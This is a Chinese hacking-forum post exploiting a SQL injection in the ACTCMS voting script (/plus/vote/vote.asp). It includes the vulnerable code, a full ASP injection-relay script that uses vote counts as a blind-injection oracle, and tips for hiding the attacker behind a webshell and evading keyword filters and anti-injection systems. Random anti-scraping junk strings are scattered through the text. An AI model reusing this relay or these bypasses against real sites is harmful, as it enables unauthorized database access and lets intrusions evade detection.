找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2116|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

4 [, |7 Y% o+ F2 W: {看到ninty大牛的blog的一篇文章
, p9 z$ K, @, F# m0 R链接标记[url]http://www.forjj.com/?action=show&id=80[/url]  s1 N% d1 M. Y4 ?. w5 G
关于actcms漏洞的利用  by 3x qq:3818625899 \6 q0 l1 ?- y/ k$ L% _
转载请注明以上
/ t5 o! S0 u' o. u6 U漏洞文件:3 I* K7 a. `: Y0 C9 R+ B
/plus/vote/vote.asp
% h7 Q, k  M2 |' }: W+ f) p代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    7 t* N1 K, M) J! j1 }7 t+ \& V

  X' H' w! Q& G! Z* R2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
( `! C' b5 R9 C* Q
0 t1 w% P+ i. L; L3 |) v( ^8 N3    response.end   
) M; L9 X! N4 G% J* E" W- R3 z0 B; T2 |7 A
4    end if    ; ?8 w. H) _' T0 s# C8 l- z6 J

  X9 z7 Q4 }* M- }5    for i=1 to request("voted").count   
& K9 X# j5 m0 \: c$ |* M& u& _- I2 a0 t) A4 P3 O$ ^- |, @0 U
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
8 K( J. ~6 t$ Z3 z. w& ?# }7 l1 W2 M
5 t. |; X* c9 M; b7 W7    next    ! E. E6 I# g3 S9 O9 d7 X/ G$ z
3 _* P! ^" q8 C8 P$ t/ b- t
8....    2 F* j, Z4 `/ d8 w1 F1 C1 N

6 \4 z' p; `9 Q- u+ E# j( P9response.Redirect "index.asp?id="&id&""   : \  w9 o* [8 j) r  u/ Q0 F9 \  I
投票结束回跳转回index.asp这个投票结果页面
9 R( X9 r: ]2 g: a如果投票成功票数加1
6 v8 J5 G7 Q) \, P            失败票数不变
8 D+ S% Y' U( O如图:7 ~" p- o7 Y# K- w1 h' ?
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
- X. ^/ Y$ @9 |% B5 M
' I/ j2 j4 W+ Z% x2009-12-27 13:20
, `& a& V$ |# v; t% v6 g% U( E5 |+ [' g! t9 {9 A
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
1 O6 |$ t2 _8 q. y. @5 s
. P) i. ]# H5 E$ K: k6 I# Y& F本帖隐藏的内容需要回复才可以浏览& Q; z$ j( O9 D, s, p
我们用注入中转来实现这个注入具体代码如下:
6 ~8 W/ [1 t6 l4 E( f# t先用寂寞的刺猬大牛的注入中转生成jmget.asp5 C# |  ~$ q3 j) b3 C$ _
注入地址:http://localhost/actcms/plus/vote/vote.asp
* T, T$ n  s$ ~) x% L$ e' M! v; W注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
$ B4 W) Y4 H# h3 e4 S, T! s4 W/ Y6 D$ u' V5 q9 [- G" a
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
) R7 g: R, u- ~$ q- k9 C# ~" L: M/ v
02JmdcwName=request("jmdcw")
7 b: A3 ^4 v: T* t
0 j0 P  G# d9 [9 N' |/ i; ?03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] . U  F7 a" x8 d) m- E

7 R6 |7 ?: ]8 |5 M5 a04JmStr="id=1&voted=-1 or 1="&JmdcwName 6 ?9 d* a" j# h  ^* R8 p4 h

, j% ^( j$ s4 h! F$ Y8 y  b05JmStr=URLEncoding(JmStr)
. I3 d  y. j9 p% I/ |
9 l3 ]" T; {6 U5 ]+ o06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"5 T4 X0 L$ a0 @/ E
, \, J: V' n3 e$ O7 P# R! H7 @
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"* d0 H! \  n& w7 `/ L0 ?. h/ Z

8 F- o7 u8 u3 R* |2 g08testurl=testurl & "?" & JmStr
8 |1 ]) Z) o8 A* n; `) w, @. \4 R9 }) j
09JMUrl=JMUrl & "?" & JmStr 8 q3 J% |* Z7 q) R0 C% o: e" L
. q* |1 M2 N0 H1 u
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
# b3 g. H; j: U& k6 H0 U  l$ l1 a& `0 }+ `( n
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
( I; {$ y3 g$ w' T# @) y' ^! h# K7 d, P& ^
12JmCok=replace(JmCok,chr(32),"%20")  / o$ J; U' J7 E- e! i

. j$ w$ K' N5 q$ }8 Y13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
8 v+ ]: I, D" T. E
  V& p: n8 H" _) ?' i' {6 F14  # {* A& |  l+ P, B4 f
) A* |$ p, D$ n
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
& ~* n+ M5 B+ K/ z! a$ T" T  m) b6 H" U7 U! S. T# C
16  
' j" m+ J, |) h! l9 \, X
* H1 p0 Y7 `4 N+ x17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
+ T# i" W" K7 A1 [5 J  F2 }/ L/ _+ T% m/ e5 ~% l1 Q/ n$ ^
18response.write test1&""&test2&""' c( g4 q( S, m5 C" o

0 P/ Z7 j* {6 g% G0 v+ d7 Q19  . f* f! c+ l  C5 f
' v3 G' X& Z- C: V9 ~% g
20if test1=test2 then '如前后记录相等,表示失败
! [. P* Q$ k( h- |0 F4 t& Z
# i8 F2 A: W7 r21  response.write "failed"6 j3 y0 U; U* s8 A% U0 L% K
# E. s2 G1 o" B4 X
22else
3 r. Q; c, h2 \9 i0 t
9 @% c7 C( l1 M4 ^% }6 O( c! t23  response.write "succeed"
+ X" F  E0 y5 J# d8 C2 {% b9 n/ a
" t6 `9 c, R1 [, r! n5 N$ c24end if  
  j' J" Z5 G, N* R  `1 g* Q
0 |3 ^0 k! a& ~  u* C9 w) f25  4 j: N7 g# I- b; E

7 B$ B, m0 J' L! [$ R26response.write "by 3x"" p" d( D, g  |) L2 G/ o

  g, k5 m5 H' ?5 R$ S: d8 x/ Q27  ( o7 v- ]2 y- E4 {8 z: e+ R. N' I

8 k1 E( B7 @1 o% |. f# v7 x2 w0 q28  ; O; o* N% [! I

4 i3 v/ m+ Y  d: Q9 {: [29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
, e( R& L3 f: I. T6 e8 u: f- |, u. x6 ~6 h% ^/ A! k: ~* J; m1 h, o
30Dim Http 4 M1 l/ J" f) g$ w/ Y

- }' T# u" f8 E3 e$ k' F31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
% ]2 I" l0 E5 T5 }+ {: ~* C  u( Y+ B
32With Http + E9 s/ t; L% l5 c1 C8 D" j( A) W
: Y" S3 t. M, L3 _
33  4 \1 \" m5 R6 N

& r% s. r: h) D0 i) C8 R" S5 r34.Open "GET",PostUrl,False
8 J/ e5 Q/ r8 i: j* s# P: y, B- H/ p* t/ \! ?
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
) y  M1 {3 c) e9 g, D0 }1 E* L: |5 q0 d+ V8 W& `( {  ^3 r
36.SetRequestHeader "Referer",PostRef 3 S  O# [5 P2 l7 h3 J# v" E8 r

5 {& X1 M: @% k) a( _37.SetRequestHeader "Cookie",PostCok
, I$ n  z$ @+ s- R
) h; |- G5 M% H% @' H4 I38.Send ()
' i/ c& n+ n, D' c' E: V0 |( H- X% x# z8 W" E; M$ J1 ^) `% O& e
39PostData = .ResponseBody
0 D4 t% G( c( ]! D9 T' ^8 T+ m
( T6 n, I2 E/ U) ]$ t40End With
  E! _3 A+ _: M: X% M
) h- q7 H$ e; j6 \8 O: U41Set Http = Nothing
. C) x- E% O3 ^" N4 N: v5 A% d, r& Q1 L+ {
42PostData =bytes2BSTR(PostData) ) S' ?8 L7 B5 a! E% c# U" z

0 X9 |/ d; X  C7 s43End Function7 C/ e% c  j( x, n3 c

! l% E' r& Z" [5 d) [4 w44  ( g9 ~( t: ~( |' ?1 l
9 w' ]7 j6 a7 Q! ^/ \3 f
45  : S( l, @2 C5 ^

  w- v8 F! M' E4 a46Function bytes2BSTR(vIn) , b( }* ~& i6 _0 @5 X6 U' Y. J6 t
7 V7 J7 T/ r- F8 ^% K( ^2 p. P  D
47Dim strReturn 6 m3 o& @* e+ a/ H- V
) W8 |9 N# u( [- F2 W
48Dim I, ThisCharCode, NextCharCode
0 s1 O' @6 Y" S. w+ ^+ k: |+ }; c1 I
* P* t! r8 ~, Y2 _49strReturn = ""
2 R. j5 f9 I! m9 N' b: F
) a% y  \2 [; h: z& E% B50For I = 1 To LenB(vIn)
1 ~! o0 a/ o' f, x  m: q9 a9 m9 R* W! b9 W% v- N9 P
51ThisCharCode = AscB(MidB(vIn, I, 1))
4 |/ p6 l9 K- \
4 j# C* e" O3 U( }  n6 z7 T52If ThisCharCode < &H80 Then, Q5 }. P" m  F3 a3 G( ^
0 H" ^( `; E# P2 K) F" I# U8 _
53strReturn = strReturn & Chr(ThisCharCode)
3 f# N: R# r5 f3 N; Z) ^- R- r, }* h+ C; k
54Else1 a$ B8 x* t7 R9 W$ S1 W

1 w5 Z+ B0 G' k. Y9 N# ~55NextCharCode = AscB(MidB(vIn, I + 1, 1)) 2 S: R' N( }2 C

1 @. Z4 B. k# W% r6 o( S56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
( e2 n: `& r8 ^0 V' P* q% p5 T* J/ q( n% ~& |( N+ i
57I = I + 1
3 o% l! s. b3 P- d
. d5 P: E* {6 c8 c$ @( q58End If2 a; w- {& s+ q6 I5 m2 T% ?

; d- @1 M) S& H  o& {( V  L59Next( n% I- i4 C6 m1 Y. d3 A7 i

/ W+ t! K. u5 S, Z* r( f5 r6 }/ j60bytes2BSTR = strReturn
% t2 i1 X% F% Y6 `/ I; ~
% Q, P% b0 ]- u2 k2 N) S61End Function
& f% F2 s" _0 W4 C* V5 v
2 K' z3 `6 ~  m9 C( I7 p: t62  
: P6 M. q# }/ c2 B
+ f7 G6 W3 ~* O9 m8 G! ?( Y* j/ l; Z63Function URLEncoding(vstrin)  8 s+ z$ \! T6 U& w# p3 b2 g
! |+ o" S& X# c- v; s
64strReturn=""; W7 d) s, {8 V7 e8 y* b" @
; @( I0 Z$ l7 }1 B4 f
65Dim i
. R: z; M! y7 y& c+ L+ M( j
- C$ |5 P, D+ D0 q! E' a66For i=1 To Len(vstrin) ( A; E6 G. g% Y* t! X% D7 g$ [
" J; n# u& n; C1 Q
67ThisChr=Mid(vstrin,i,1)
" n% n# i% K9 l: ?9 g) u( _" m( T$ G! [0 S4 i4 n
68if Abs(Asc(ThisChr))< &HFF Then5 `! ]1 a% y0 {
0 N) D$ a. N. l+ }
69strReturn=strReturn & ThisChr " [. w+ O/ h$ `* V8 u2 y3 g

; P  r% y6 v7 r) j70Else
  Z$ r0 X+ Z; i( T; T3 z6 u/ Q+ @/ c- j' V5 O7 @+ m5 m
71InnerCode=Asc(ThisChr) : P) o! T/ L0 ?+ T8 u) D
# w" K2 r3 F/ o+ `
72If InnerCode<0 Then
' e, T6 Z1 M* p: {0 J4 D4 Q7 B! M* A" I% m) N- J, Z7 i: {$ a
73InnerCode=InnerCode + &H10000
& H5 O$ R/ [2 v$ ~* p) S' c7 H$ H/ P; q, @6 Y8 p$ M
74End If
' g4 p& c/ _" k1 }: |
7 H* ~& v" O4 b% U7 ~0 _* l75Hight1=(InnerCode And &HFF00) \&HFF
0 O. o2 u! ?& _& J! X( G$ m+ g! U( z' ?' e/ p
76Low1=InnerCode And &HFF % M+ Z6 `9 q" W  K, q' Q
1 n# F/ o1 d) ~9 Q4 w, [8 p
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
/ y9 Q: ?" y' {( m$ _7 A9 O6 }& c# D. L" B, _! b8 n
78End if
" _  I  X; D, ?! U* ]) o; @" P
, `7 _& O% D. S2 B" N, l79Next/ B* z! _0 c+ W( h7 I+ g) `2 E
" g! ?* A9 T9 d2 b, W
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 6 }$ B' v! R  j1 B: _$ E. f& U, |5 H
& d! [7 c/ @0 v. r6 I- E. ?
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 ; y* s2 R. j8 c& ?  |) k
; g9 g) q& o: H$ H$ z" R6 u
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
2 ~! w, X5 u, X& Y/ e0 k
$ O2 H* l* y. _4 S0 |! n+ h83URLEncoding=strReturn & ?5 _8 B8 t: _5 B1 P

8 \) i5 u9 g: C: ~: r( i' X! A84End Function
" A5 l9 \# [3 Z6 G& v  Y. o: ~/ _! Z2 `* [4 O6 d
85  , h: ?+ {3 a9 }, t/ r* j

2 x: f! M% ~, J5 u86function getSt(body) ! m8 q0 J- p! V6 a% J, w

1 b2 R5 N8 B' A; N3 i87  startpot=instr(body,"投票人数:")+len("投票人数:")
/ i6 [' e- u2 ?3 W5 d0 C- T; F
* [9 ^. |4 t) K: K, R: G88  endpot=instr(startpot,body," ") , [  n' t8 S" j; T+ S8 W/ c3 K

4 b/ o( D5 b: Z1 i4 M7 Y89  getSt=mid(body,startpot,endpot-startpot) % X9 ?$ ~4 Q/ B
" L3 p7 b, [0 R. v9 f
90end function ) g4 u7 y  `7 g' K

% P1 l+ ^$ s$ n3 {+ V5 K. f91%>4 K5 C8 W2 f8 {+ F9 D& V# A
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
% R+ q$ j. I* x3 J测试下效果:
  w/ m3 ?6 r, g9 \投票成功:$ K/ j7 Q% I1 [# Q; k
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
# F  A+ [2 n/ N1 H5 _7 ~7 s( R2 l4 j4 ]9 ~, ^' g& [
2009-12-27 13:293 m6 H: L% ]5 a3 W
投票失败! [9 A7 Z8 m) M4 y
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
( q1 p+ D" d2 c* e
$ r3 P' f1 U: M+ }4 y1 A7 }% W0 z8 @. h2009-12-27 13:29. D; Y: B% u% `/ ], d
-------------------------------------------------------------------------------# m7 v; ]: h+ O; R2 `
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以6 t' \( Z( G3 d) T" i  C5 {: V
很抱歉。。。只能用单线程工具去注入。。。。。3 L* a6 d; J$ K" Y0 p( R" O5 i
所以失败。。。不好意思。。。
* v' d8 ?% Y5 A4 F8 K7 B, ]-------------------------------------------------------------------------------
. E. s; n7 y6 h. h) u% j! @
# @1 [, J. n$ w' l( D注入中转的一些其他应用
" P% z6 E1 }! N1 z其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了* }9 v0 O$ n* ]5 b& C: b. Y
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id0 z7 `7 \+ L6 X% K% n: S. k5 V
2.post注入转成get型的注入,方便我们使用工具来跑+ h2 C+ q& s2 l; K3 y- N! ^
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09"). A9 j' {7 F; j# l
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过  o' X$ ?; M( N6 o1 D! _
( C* ~- h0 d" S9 s7 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表